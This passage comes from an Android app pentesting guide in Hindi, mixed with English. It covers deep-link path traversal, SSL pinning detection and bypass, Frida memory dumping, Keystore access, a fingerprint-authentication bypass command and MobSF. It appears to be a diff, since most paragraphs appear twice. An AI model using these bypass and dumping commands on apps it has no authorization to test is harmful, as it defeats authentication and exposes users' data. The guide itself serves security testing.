यदि आप application के अंदर सही endpoints ढूँढ लेते हैं तो आप संभावित रूप से **Open Redirect** (यदि path का कोई हिस्सा domain name के रूप में उपयोग हो रहा हो), **account takeover** (यदि आप बिना CSRF token के users के विवरण बदल सकते हैं और vuln endpoint ने सही method का उपयोग किया हो) और अन्य किसी भी vuln को ट्रिगर कर सकते हैं। More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
आपको यह भी **जाँचना चाहिए कि कोई deep link URL के path के अंदर parameter का उपयोग तो नहीं कर रहा है** जैसा कि: `https://api.example.com/v1/users/{username}` , ऐसे मामले में आप path traversal फोर्स कर सकते हैं जैसे: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही endpoints पाते हैं तो आप **Open Redirect** (अगर path का कोई हिस्सा domain name के रूप में उपयोग हो रहा हो), **account takeover** (अगर आप users विवरण बिना CSRF token के modify कर सकते हैं और vuln endpoint ने सही method उपयोग किया था) और कोई अन्य vuln पैदा कर सकते हैं। More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
### Transport Layer Inspection and Verification Failures
### ट्रांसपोर्ट लेयर निरीक्षण और सत्यापन विफलताएँ
- **Certificates are not always inspected properly** by Android applications. यह आम है कि ये applications warnings को अनदेखा कर self-signed certificates स्वीकार कर लें या कुछ मामलों में HTTP connections पर revert कर दें।
- **Negotiations during the SSL/TLS handshake are sometimes weak**, insecure cipher suites का उपयोग होता है। यह vulnerability connection को man-in-the-middle (MITM) attacks के लिए संवेदनशील बनाती है, जिससे attackers डेटा को decrypt कर सकते हैं।
- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. यह तरीका संवेदनशील डेटा, जैसे session cookies या user details, को malicious entities द्वारा interception से सुरक्षित नहीं रखता।
- **Certificates हमेशा ठीक से जांचे नहीं जाते** Android applications द्वारा। अक्सर ये applications warnings को नज़रअंदाज़ कर self-signed certificates को स्वीकार कर लेते हैं या कुछ मामलों में HTTP कनेक्शन्स पर लौट जाते हैं।
- **SSL/TLS handshake के दौरान negotiations कभी-कभी कमजोर होती हैं**, जो insecure cipher suites उपयोग करती हैं। यह कमजोरी कनेक्शन को man-in-the-middle (MITM) हमलों के प्रति संवेदनशील बनाती है, जिससे attackers डेटा को decrypt कर सकते हैं।
- **Leakage of private information** का जोखिम तब होता है जब applications secure चैनलों का उपयोग करके authenticate करती हैं पर अन्य ट्रांज़ैक्शन्स के लिए non-secure चैनलों पर communicate करती हैं। यह तरीका session cookies या user details जैसे संवेदनशील डेटा को malicious entities द्वारा interception से सुरक्षित नहीं रखता।
#### Certificate Verification
#### सर्टिफिकेट सत्यापन
हम focus करेंगे **certificate verification** पर। सर्वर के certificate की integrity verify करना सुरक्षा बढ़ाने के लिए आवश्यक है। यह महत्वपूर्ण है क्योंकि insecure TLS configurations और unencrypted चैनलों पर संवेदनशील डेटा भेजना गंभीर जोखिम पैदा कर सकता है। सर्वर certificates verify करने और vulnerabilities को address करने के विस्तृत steps के लिए, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) विस्तृत मार्गदर्शन प्रदान करता है।
हम **certificate verification** पर ध्यान केंद्रित करेंगे। सर्वर के certificate की integrity की पुष्टि करके सुरक्षा बढ़ाई जानी चाहिए। यह महत्वपूर्ण है क्योंकि insecure TLS configurations और unencrypted चैनलों पर संवेदनशील डेटा का संचार गंभीर जोखिम पैदा कर सकता है। सर्वर certificates को verify करने और कमजोरियों को ठीक करने के विस्तृत चरणों के लिए, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन प्रदान करता है।
#### SSL Pinning
SSL Pinning एक security measure है जहाँ application सर्वर के certificate को application में संग्रहीत ज्ञात copy के साथ verify करता है। यह method MITM attacks रोकने के लिए आवश्यक है। जो applications संवेदनशील जानकारी handle करते हैं उनके लिए SSL Pinning लागू करना अत्यधिक अनुशंसित है।
SSL Pinning एक security measure है जहाँ application सर्वर के certificate की जाँच application में संग्रहीत ज्ञात copy के खिलाफ करती है। यह विधि MITM attacks रोकने के लिए आवश्यक है। संवेदनशील जानकारी हैंडल करने वाले अनुप्रयोगों के लिए SSL Pinning लागू करना strongly recomendado है।
#### Traffic Inspection
#### ट्रैफ़िक निरीक्षण
HTTP traffic inspect करने के लिए, proxy tool का certificate (उदाहरण के लिए Burp) **install** करना ज़रूरी है। बिना इस certificate को install किए, encrypted traffic proxy के माध्यम से दिखाई नहीं दे सकती। custom CA certificate install करने के guide के लिए, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)।
HTTP ट्रैफ़िक निरीक्षण करने के लिए, proxy tool का certificate **install** करना आवश्यक है (उदाहरण के लिए, Burp)। इस certificate को install किए बिना, encrypted ट्रैफ़िक proxy के माध्यम से दिखाई नहीं दे सकती। custom CA certificate install करने के लिए गाइड के लिए, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) देखें
Applications जो **API Level 24 and above** target करते हैं उन्हें proxy के CA certificate को accept करने के लिए Network Security Config में परिवर्तन करने की आवश्यकता होती है। यह step encrypted traffic inspect करने के लिए critical है। Network Security Config modify करने के instructions के लिए, [**refer to this tutorial**](make-apk-accept-ca-certificate.md)।
Applications जो **API Level 24 and above** target करते हैं, उन्हें Network Security Config में बदलाव करने की आवश्यकता होती है ताकि proxy की CA certificate स्वीकार की जा सके। यह कदम encrypted ट्रैफ़िक को inspect करने के लिए महत्वपूर्ण है। Network Security Config बदलने के निर्देशों के लिए, [**refer to this tutorial**](make-apk-accept-ca-certificate.md) देखें
यदि **Flutter** उपयोग में है तो आपको [**this page**](flutter.md) में दिए निर्देशों का पालन करना होगा। ऐसा इसलिए है क्योंकि केवल certificate को store में जोड़ना काम नहीं करेगा क्योंकि Flutter की अपनी valid CAs की सूची होती है।
यदि **Flutter** उपयोग हो रहा है तो आपको [**this page**](flutter.md) के निर्देशों का पालन करना होगा। ऐसा इसलिए क्योंकि केवल certificate को store में जोड़ने से काम नहीं चलेगा क्योंकि Flutter के पास अपनी मान्य CAs की सूची होती है।
#### Static detection of SSL/TLS pinning
runtime bypasses करने के प्रयास से पहले, जल्दी से map करें कि APK में pinning कहाँ enforce किया गया है। Static discovery आपको hooks/patches की योजना बनाने और सही code paths पर ध्यान केंद्रित करने में मदद करता है।
runtime bypasses का प्रयास करने से पहले, जल्दी से मैप करें कि APK में pinning कहाँ लागू है। Static discovery आपको hooks/patches की योजना बनाने और सही code paths पर फोकस करने में मदद करती है।
Tool: SSLPinDetect
- Open-source static-analysis utility जो APK को Smali (via apktool) में decompile करके SSL/TLS pinning implementations के curated regex patterns के लिए scan करता है।
- हर match के लिए exact file path, line number, और एक code snippet report करता है।
- सामान्य frameworks और custom code paths को कवर करत है: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, और Network Security Config XML pins।
- Open-source static-analysis utility जो APK को Smali (via apktool) में decompile करती है और SSL/TLS pinning implementations के curated regex patterns को scan करती है।
- प्रत्येक मैच के लिए exact file path, line number, और code snippet report करती है।
- सामान्य frameworks और custom code paths को कवर करत है: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, और Network Security Config XML pins।
Install
- Prereqs: Python >= 3.8, Java on PATH, apktool
@ -456,8 +456,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
# Verbose (timings + per-match path:line + snippet)
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
उदाहरण पैटर्न नियम (JSON)
proprietary/custom pinning शैलियों का पता लगाने के लिए signatures का उपयोग करें या उन्हें बढ़ाएँ। आप अपना JSON लोड कर सकते हैं और बड़े पैमाने पर स्कैन कर सकते हैं।
पैटर्न नियमों का उदाहरण (JSON)
प्रोप्राइटरी/कस्टम pinning शैलियों का पता लगाने के लिए signatures का उपयोग करें या उन्हें विस्तारित करें। आप अपना स्वयं का JSON लोड कर सकते हैं और बड़े पैमाने पर स्कैन कर सकते हैं।
```json
{
"OkHttp Certificate Pinning": [
@ -471,43 +471,43 @@ proprietary/custom pinning शैलियों का पता लगान
]
}
```
Notes and tips
- बड़े ऐप्स पर तेज़ स्कैनिंग via multi-threading और memory-mapped I/O; pre-compiled regex overhead/false positives घटाता है।
नोट्स और सुझाव
- बड़े ऐप्स पर तेज़ स्कैनिंग के लिए मल्टी-थ्रेडिंग और memory-mapped I/O का उपयोग; pre-compiled regex ओवरहेड और false positives कम करता है।
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- अगले triage के लिए सामान्य detection targets:
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins in res/xml network security config और manifest references
- matched locations का उपयोग Frida hooks, static patches, या config reviews की योजना बनाने के लिए करें इससे पहले कि आप dynamic testing करें
- अगली ट्रायेज़ के लिए सामान्य खोज के लक्ष्य:
- OkHttp: CertificatePinner उपयोग, setCertificatePinner, okhttp3/okhttp पैकेज संदर्भ
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted के overrides
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init custom managers के साथ
- res/xml में declarative pins, network security config और manifest संदर्भ
- मैच हुई लोकेशनों का उपयोग Frida hooks, static patches, या config reviews की योजना बनाने के लिए करें, dynamic testing से पहले
#### SSL Pinning को बायपास करना
जब SSL Pinning लागू किया जाता है, तो HTTPS ट्रैफिक की जांच के लिए इसे बायपास करना आवश्यक हो जाता है। इसके लिए विभिन्न तरीके उपलब्ध हैं:
जब SSL Pinning लागू किया गया हो, तो HTTPS ट्रैफ़िक को निरीक्षण करने के लिए इसे बायपास करना आवश्यक हो जाता है। इस उद्देश्य के लिए कई तरीके उपलब्ध हैं:
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). इसका सबसे बड़ा फायदा यह है कि आपको SSL Pinning बायपास करने के लिए root की जरूरत नहीं पड़ेगी, लेकिन आपको एप्लिकेशन को डिलीट करके नया इंस्टॉल करना होगा, और यह हमेशा काम नहीं करेगा।
- आप इस बायपास करने के लिए **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई है)। यहाँ Burp+Frida+Genymotion को उपयोग करने का गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- आप [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` का उपयोग करके SSL Pinning को स्वचालित रूप से बायपास करने की कोशिश भी कर सकते हैं।
- आप **MobSF dynamic analysis** का उपयोग करके भी SSL Pinning को स्वचालित रूप से बायपास करने की कोशिश कर सकते हैं (नीचे समझाया गया है)
- यदि आपको अभी भी लगता है कि कुछ ट्रैफिक कैप्चर नहीं हो रहा है तो आप ट्रैफिक को burp पर फॉरवर्ड करने के लिए iptables का उपयोग कर सकते हैं। यह ब्लॉग पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- स्वचालित रूप से **apk** को बदलकर SSLPinning को **बायपास** करने के लिए [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) का उपयोग करें। इस विकल्प का सबसे बड़ा प्रो यह है कि SSL Pinning बायपास करने के लिए आपको root की जरूरत नहीं पड़ेगी, लेकिन आपको एप्लिकेशन को डिलीट करके नया इंस्टॉल करना होगा, और यह हमेशा काम नहीं करेगा।
- आप इस सुरक्षा को बायपास करने के लिए **Frida** (नीचे चर्चा) का उपयोग कर सकते हैं। Burp+Frida+Genymotion का उपयोग करने का गाइड यहाँ है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- आप [**objection**](frida-tutorial/objection-tutorial.md) का उपयोग करके **स्वचालित रूप से SSL Pinning बायपास** करने की भी कोशिश कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- आप **MobSF dynamic analysis** का उपयोग करके भी **स्वचालित रूप से SSL Pinning बायपास** करने का प्रयास कर सकते हैं (नीचे समझाया गया है)
- अगर आपको लगता है कि कुछ ट्रैफ़िक आप कैप्चर नहीं कर पा रहे हैं तो आप ट्रैफ़िक को burp पर फॉरवर्ड करने के लिए iptables का उपयोग करने की कोशिश कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### एप्लिकेशन में सामान्य वेब कमजोरियों की तलाश
ऐप्लिकेशन के भीतर सामान्य वेब vulnerabilities की तलाश करना भी महत्वपूर्ण है। इन कमजोरियों की पहचान और उन्हें मिटाने के विस्तृत तरीके इस सारांश के दायरे से बाहर हैं लेकिन बहुत व्यापक रूप से अन्य जगहों पर कवर किए गए हैं।
ऐप के भीतर सामान्य वेब कमजोरियों की खोज भी ज़रूरी है। इन कमजोरियों की पहचान और उन्हें कम करने के विस्तृत तरीके इस सारांश के दायरे से बाहर हैं लेकिन अन्य स्थानों पर विस्तार से कवर किए गए हैं।
### Frida
[Frida](https://www.frida.re) developers, reverse-engineers, और security researchers के लिए एक dynamic instrumentation toolkit है.\
**आप चल रही application तक पहुँच कर run time पर methods को hook कर सकते हैं ताकि व्यवहार बदलें, मान बदलें, मान निकालें, अलग code चलाएँ...**\
यदि आप Android applications की pentesting करना चाहते हैं तो आपको Frida का उपयोग करना आना चाहिए।
[Frida](https://www.frida.re) विकासकर्ताओं, रिवर्स-इन्जीनियर्स, और सुरक्षा शोधकर्ताओं के लिए एक dynamic instrumentation toolkit है.\
**आप रनिंग application तक पहुंच सकते हैं और रनटाइम पर मेथड्स को hook करके व्यवहार बदल सकते हैं, मान बदल सकते हैं, मान निकाल सकते हैं, अलग कोड चला सकते हैं...**\
अगर आप Android applications का pentest करना चाहते हैं तो आपको Frida का उपयोग करना आना चाहिए।
- Frida का उपयोग कैसे करें जानें: [**Frida tutorial**](frida-tutorial/index.html)
- Frida के साथ actions के लिए कुछ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection Frida के उपयोग को automate करने के लिए अच्छा है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- कुछ Awesome Frida scripts यहाँ मिलेंगी: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- anti-debugging / anti-frida mechanisms को bypass करने की कोशिश करें, Frida को ऐसे load करके जैसा यहाँ बताया गया है: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
- Ojection Frida के उपयोग को ऑटोमेट करने के लिए शानदार है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- कुछ Awesome Frida scripts आप यहाँ पा सकते हैं: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- anti-debugging / anti-frida मैकेनिज़्म को बायपास करने की कोशिश करें Frida को उसी तरह लोड करके जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में बताया गया है (टूल [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & SSL pinning bypass workflow
@ -515,11 +515,11 @@ Notes and tips
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
### **Dump Memory - Fridump**
### **डंप मेमोरी - Fridump**
जाँचे कि क्या application मेमोरी में संवेदनशील जानकारी स्टोर कर रहा है जो इसे नहीं रखना चाहिए, जैसे पासवर्ड या mnemonics।
जाँचें कि क्या ऐप मेमोरी में संवेदनशील जानकारी स्टोर कर रहा है जिसे वहां नहीं रखना चाहिए, जैसे passwords या mnemonics.
Using [**Fridump3**](https://github.com/rootbsd/fridump3) आप ऐप की मेमोरी को dump कर सकते हैं:
आप [**Fridump3**](https://github.com/rootbsd/fridump3) का उपयोग करके ऐप की मेमोरी को इस तरह डंप कर सकते हैं:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -528,63 +528,65 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
यह ./dump फ़ोल्डर में memory को dump करेगा, और वहा आप कुछ इस तरह grep कर सकते हैं:
यह ./dump फ़ोल्डर में memory को dump करेगा, और वहा आप कुछ इस तरह grep कर सकते हैं:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Keystore में संवेदनशील डेटा**
Android में Keystore संवेदनशील डेटा स्टोर करने के लिए सबसे अच्छा स्थान है, लेकिन पर्याप्त privileges होने पर इसे फिर भी **इसे access करना संभव** है। चूँकि एप्लिकेशन यहाँ अक्सर **sensitive data in clear text** स्टोर करते हैं, इसलिए pentests को इसे root user के रूप में चेक करना चाहिए — किसी के पास device का physical access होने पर वह यह डेटा चुरा सकता है
Android में Keystore संवेदनशील डेटा स्टोर करने के लिए सबसे अच्छा स्थान है, हालांकि पर्याप्त privileges होने पर फिर भी **उस तक पहुँच संभव है**
भले ही कोई app keystore में डेटा स्टोर करे, डेटा को encrypted होना चाहिए
चूँकि applications यहाँ अक्सर **सादा टेक्स्ट में संवेदनशील डेटा** स्टोर करते हैं, pentests को इसे root user के रूप में जांचना चाहिए, क्योंकि किसी के पास डिवाइस तक भौतिक पहुँच होने पर वह यह डेटा चुरा सकता है
keystore के अंदर के डेटा को access करने के लिए आप इस Frida script का उपयोग कर सकते हैं: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
भले ही किसी app ने Keystore में डेटा स्टोर किया हो, डेटा एन्क्रिप्टेड होना चाहिए।
Keystore के अंदर के डेटा तक पहुँचने के लिए आप यह Frida script इस्तेमाल कर सकते हैं: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
निम्नलिखित Frida script का उपयोग करके संभवतः उन Android applications में लागू किए गए **bypass fingerprint authentication** को दरकिनार किया जा सकता है, जो **कुछ संवेदनशील क्षेत्रों की सुरक्षा** के लिए किया जाता है:
निम्नलिखित Frida script का उपयोग करके संभवतः Android applications में किसी संवेदनशील क्षेत्र की सुरक्षा हेतु किए जा रहे **bypass fingerprint authentication** को निष्क्रिय किया जा सकता है:
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Background Images**
### **पृष्ठभूमि छवियाँ**
जब आप किसी ऐप को background में भेजते हैं, तो Android एक **snapshot of the application** स्टोर करता है — ताकि जब उसे foreground में वापस लाया जाए तो यह ऐप से पहले उस image को लोड करना शुरू कर दे और ऐसा लगे कि ऐप तेज़ी से लोड हुआ।
जब आप किसी एप्लिकेशन को बैकग्राउंड में डालते हैं, Android एप्लिकेशन का एक **स्नैपशॉट** स्टोर करता है ताकि जब उसे फ़ोरग्राउंड में वापस लाया जाए तो यह ऐप से पहले इमेज लोड करना शुरू कर दे ताकि ऐसा लगे कि ऐप तेज़ी से लोड हुआ।
हालाँकि, अगर यह snapshot में **संवेदनशील जानकारी** मौजूद हो, तो snapshot तक पहुँच रखने वाला कोई भी व्यक्ति **उस जानकारी को चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए root की आवश्यकता होती है)।
हालाँकि, अगर यह स्नैपशॉट **संवेदनशील जानकारी** रखता है, तो जिसके पास स्नैपशॉट तक पहुँच है वह **उस जानकारी को चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए root की आवश्यकता होती है)।
Snapshots सामान्यतः इस स्थान पर स्टोर रहते हैं: **`/data/system_ce/0/snapshots`**
स्नैपशॉट्स आमतौर पर इस पथ पर स्टोर होते हैं: **`/data/system_ce/0/snapshots`**
Android एक तरीका प्रदान करता है जिससे आप लेआउट पैरामीटर में **FLAG_SECURE सेट करके screenshot capture को रोक सकते हैं**। इस flag का उपयोग करने पर, window की सामग्री को secure माना जाता है, जिससे वह screenshots में दिखाई नहीं देती और non-secure डिस्प्ले पर नहीं देखी जा सकती
Android layout parameter में **FLAG_SECURE सेट करके स्क्रीनशॉट कैप्चर को रोकने** का तरीका प्रदान करता है। इस flag का उपयोग करने पर विंडो की सामग्री को सुरक्षित माना जाता है, जिससे यह स्क्रीनशॉट्स में दिखाई देने या गैर-सुरक्षित डिस्प्ले पर देखे जाने से रोका जाता है
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
यह टूल dynamic analysis के दौरान विभिन्न टूल्स को मैनेज करने में मदद कर सकता है: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
यह टूल dynamic analysis के दौरान विभिन्न टूल्स को प्रबंधित करने में मदद कर सकता है: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
डेवलपर्स अक्सर proxy components जैसे activities, services, और broadcast receivers बनाते हैं जो इन Intents को हैंडल करते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसे methods को पास कर देते हैं, जो रिस्की हो सकता है।
डेवलपर्स अक्सर proxy components जैसे activities, services, और broadcast receivers बनाते हैं जो इन Intents को हैंडल करते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसे methods को पास कर देते हैं, जो जोखिम भरा हो सकता है।
खतरा इस बात में है कि attackers इन Intents को मिसडायरेक्ट करके non-exported app components या sensitive content providers को ट्रिगर कर सकते हैं। एक उल्लेखनीय उदाहरण है `WebView` component जो URLs को `Intent` objects में `Intent.parseUri(...)` के जरिए कन्वर्ट करता है और फिर उन्हें execute करता है, जिससे malicious Intent injections हो सकते हैं।
खतरा इस बात में है कि attackers इन Intents को भटका कर non-exported app components को ट्रिगर कर सकते हैं या sensitive content providers तक पहुँच सकते हैं। एक महत्वपूर्ण उदाहरण यह है कि `WebView` component URLs को `Intent` objects में `Intent.parseUri(...)` के माध्यम से बदल देता है और फिर उन्हें execute कर देता है, जिससे संभावित रूप से malicious Intent injections हो सकते हैं।
### Essential Takeaways
### प्रमुख निष्कर्ष
- **Intent Injection** web के Open Redirect issue जैसा है।
- Exploits में `Intent` objects को extras के रूप में पास करना शामिल होता है, जिन्हें redirect करके unsafe operations execute कराए जा सकते हैं।
- यह non-exported components और content providers को attackers के लिए उजागर कर सकता है।
- `WebView` की URL से `Intent` conversion अनचाहे actions को सक्षम कर सकती है।
- **Intent Injection** वेब के Open Redirect issue के समान है।
- Exploits में `Intent` objects को extras के रूप में पास करना शामिल होता है, जिन्हें redirect करके unsafe operations execute कराए जा सकते हैं।
- यह attackers के लिए non-exported components और content providers को expose कर सकता है।
- `WebView` की URL से `Intent` में conversion अनचाही गतिविधियाँ होने में सहायक हो सकती है।
### Android Client Side Injections and others
शायद आप इस प्रकार की vulnerabilities के बारे में वेब से परिचित होंगे। Android application में इन vulnerabilities के साथ विशेष सतर्कता बरतनी चाहिए:
संभवतः आप इस प्रकार की कमजोरियों को वेब से जानते होंगे। Android application में इन कमजोरियों के साथ विशेष सावधानी बरतनी चाहिए:
- **SQL Injection:** जब dynamic queries या Content-Providers के साथ काम कर रहे हों तो सुनिश्चित करें कि आप parameterized queries का उपयोग कर रहे हैं।
- **JavaScript Injection (XSS):** Verify करें कि किसी भी WebViews के लिए JavaScript और Plugin support disabled हो (disabled by default)। [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews को file system तक access बंद होना चाहिए (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: कई मामलों में जब android application session समाप्त करता है तो cookie revoke नहीं होती या वह disk पर भी saved हो सकती है
- **SQL Injection:** जब dynamic queries या Content-Providers के साथ काम कर रहे हों, सुनिश्चित करें कि आप parameterized queries का उपयोग कर रहे हैं।
- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: कई मामलों में जब Android application session समाप्त करता है तो cookie revoke नहीं होती या disk पर भी सेव हो सकती है
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -597,7 +599,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../images/image (866).png>)
**Vulnerability assessment of the application** एक अच्छे वेब-आधारित frontend का उपयोग करके करता है। आप dynamic analysis भी चला सकते हैं (लेकिन इसके लिए environment तैयार करना होगा)।
**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -607,21 +609,21 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
### Assisted Dynamic analysis with MobSF
### MobSF के साथ सहायक डायनेमिक विश्लेषण
**MobSF** Android में **dynamic analysis** के लिए भी बहुत मददगार हो सकता है, पर इस मामले में आपको अपने host पर MobSF और **genymotion** दोनों इंस्टॉल करने होंगे (एक VM या Docker काम नहीं करेगा)। _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
**MobSF** Android में **dynamic analysis** के लिए भी बहुत मददगार हो सकता है, पर उस स्थिति में आपको अपने host पर MobSF और **genymotion** install करना होगा (a VM or Docker won't work)। _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
**MobSF dynamic analyser** निम्न कर सकता है:
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). ये सब अपने आप किया जाता है सिवाय screenshots के — जब आप screenshot लेना चाहें तो आपको उसे क्लिक करना होगा या सभी exported activities के screenshots प्राप्त करने के लिए आपको "**Exported Activity Tester**" दबाना होगा।
- **Dump application data** (URLs, logs, clipboard, आपके द्वारा लिए गए screenshots, "**Exported Activity Tester**" द्वारा लिए गए screenshots, emails, SQLite databases, XML files, और अन्य बनाई गई फाइलें)। ये सब अपने आप किया जाता है सिवाय screenshots के — स्क्रीनशॉट लेने के लिए आपको मैन्युअली दबाना होगा जब आप screenshot चाहते हैं या सभी exported activities के screenshots प्राप्त करने के लिए आपको "**Exported Activity Tester**" दबाना होगा।
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
Android **versions > 5** से, यह स्वतः **Frida** शुरू कर देगा और ट्रैफिक कैप्चर करने के लिए global **proxy** settings सेट कर देगा। यह केवल टेस्ट की जा रही एप्लिकेशन का ट्रैफिक ही कैप्चर करेगा।
**Frida**
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
डिफ़ॉल्ट रूप से, यह कुछ Frida Scripts का उपयोग SSL pinning, root detection और debugger detection को bypass करने और interesting APIs की monitor करने के लिए भी करेगा।\
MobSF exported activities को invoke भी कर सकता है, उनके **screenshots** ले सकता है और रिपोर्ट के लिए **save** कर सकता है।
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
@ -630,18 +632,18 @@ MobSF also allows you to load your own **Frida scripts** (to send the results of
Moreover, you have some Auxiliary Frida functionalities:
- **Enumerate Loaded Classes**: यह सभी loaded classes को प्रिंट करेगा
